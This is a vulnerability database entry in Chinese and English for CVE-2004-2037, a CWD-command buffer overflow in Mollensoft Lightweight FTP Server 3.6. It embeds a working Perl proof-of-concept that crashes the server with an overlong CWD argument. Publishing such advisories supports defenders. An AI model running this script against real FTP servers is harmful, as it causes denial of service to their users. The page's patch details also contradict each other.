CVE-2004-2037
CVSS7.5
发布时间 :2004-03-24 00:00:00
修订时间 :2016-10-17 23:05:17
NMCOE    

[原文]Buffer overflow in Mollensoft Lightweight FTP Server 3.6 allows remote authenticated users to cause a denial of service (crash) and possibly execute arbitrary code via a long CWD command, as demonstrated in one example by using the "cd" command in an interactive FTP client.


[CNNVD]MollenSoft Lightweight FTP Server远程拒绝服务漏洞(CNNVD-200403-101)

        
        MollenSoft Lightweight FTP Server是一款小型FTP服务程序。
        Lightweight FTP服务程序对CWD命令参数缺少充分边界检查,远程攻击者可以利用这个漏洞对FTP进行拒绝服务攻击,可能以进程权限执行任意指令。
        提交包含超长字符串的CWD命令,可发生缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2037
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2037
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200403-101
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=108577846011604&w=2
(UNKNOWN)  BUGTRAQ  20040528 Mollensoft ftp Server ver 3.6 Buffer overflow
http://marc.info/?l=bugtraq&m=108611230015042&w=2
(UNKNOWN)  BUGTRAQ  20040601 Mollensoft Lightweight FTP Server CWD Buffer Overflow
http://securitytracker.com/id?1010328
(UNKNOWN)  SECTRACK  1010328
http://www.securityfocus.com/bid/10409
(VENDOR_ADVISORY)  BID  10409
http://www.securityfocus.com/bid/10429
(VENDOR_ADVISORY)  BID  10429
http://xforce.iss.net/xforce/xfdb/16237
(VENDOR_ADVISORY)  XF  mollensoft-cwd-command-bo(16237)
http://xforce.iss.net/xforce/xfdb/16303
(VENDOR_ADVISORY)  XF  mollensoft-cd-bo(16303)

- 漏洞信息

MollenSoft Lightweight FTP Server远程拒绝服务漏洞
高危 边界条件错误
2004-03-24 00:00:00 2005-10-20 00:00:00
远程  
        
        MollenSoft Lightweight FTP Server是一款小型FTP服务程序。
        Lightweight FTP服务程序对CWD命令参数缺少充分边界检查,远程攻击者可以利用这个漏洞对FTP进行拒绝服务攻击,可能以进程权限执行任意指令。
        提交包含超长字符串的CWD命令,可发生缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Mollensoft Software
        -------------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.mollensoft.com

- 漏洞信息 (24142)

MollenSoft Lightweight FTP Server 3.6 Remote Denial Of Service Vulnerability (EDBID:24142)
windows dos
2004-05-24 Verified
0 storm
N/A [点击下载]
source: http://www.securityfocus.com/bid/10409/info

A denial of service condition is reported to exist in the MollenSoft Lightweight FTP Server that may allow a remote user to deny service to legitimate FTP users. The vulnerability is due to a lack of sufficient boundary checks performed on CWD command arguments.

It should be noted that although this vulnerability is reported to affect Mollensoft Lightweight FTP Server version 3.6 other versions might also be affected. 

#!/usr/bin/perl
#
# Mollensoft FTP Server CMD Buffer Overflow
#
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441

use strict;
use IO::Socket::INET;

usage() unless (@ARGV == 2);

my $host = shift(@ARGV);
my $port = shift(@ARGV);

# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

$socket->autoflush(1);

# receive greeting
my $repcode = "220 ";
my $response = recv_reply($socket, $repcode);
print $response;

# send USER command
#my $username = "%00" x 2041;
my $username = "anonymous";
print "USER $username\r\n";
print $socket "USER $username\r\n";

select(undef, undef, undef, 0.002); # sleep of 2 milliseconds

# send PASS command
my $password = "a\@b.com";
print "PASS $password\r\n";
print $socket "PASS $password\r\n";

my $cmd = "CWD ";
$cmd .= "A" x 224; # Value can range from 224 to 1018
$cmd .= "\r\n";
print "length: ".length($cmd)."\n";
print $socket $cmd;

$repcode = "";
recv_reply($socket, $repcode);

close($socket);
exit(0);

sub usage
{
 # print usage information
 print "\nUsage:  Mollensoft_FTP_Server_crash.pl <host> <port>\n
<host> - The host to connect to
<port> - The TCP port which WarFTP is listening on\n\n";
 exit(1);
}

sub recv_reply
{
 # retrieve any reply
 my $socket = shift;
 my $repcode = shift;
 $socket or die "Can't receive on socket\n";

 my $res="";
 while(<$socket>)
 {
  $res .= $_;
  if (/$repcode/) { last; }
 }
 return $res;
}

		

- 漏洞信息

6412
Mollensoft Lightweight FTP Server CWD Overflow
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

A remote overflow exists in Mollensoft FTP Server. The FTP Server fails to check the lenght of the CWD commands resulting in a buffer overflow. With a specially crafted request, an attacker can cause the daemon to crash resulting in a loss of availability.

- 时间线

2004-05-24 2004-02-11
2004-05-24 Unknow

- 解决方案

Upgrade to version 3.6 (patched) or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站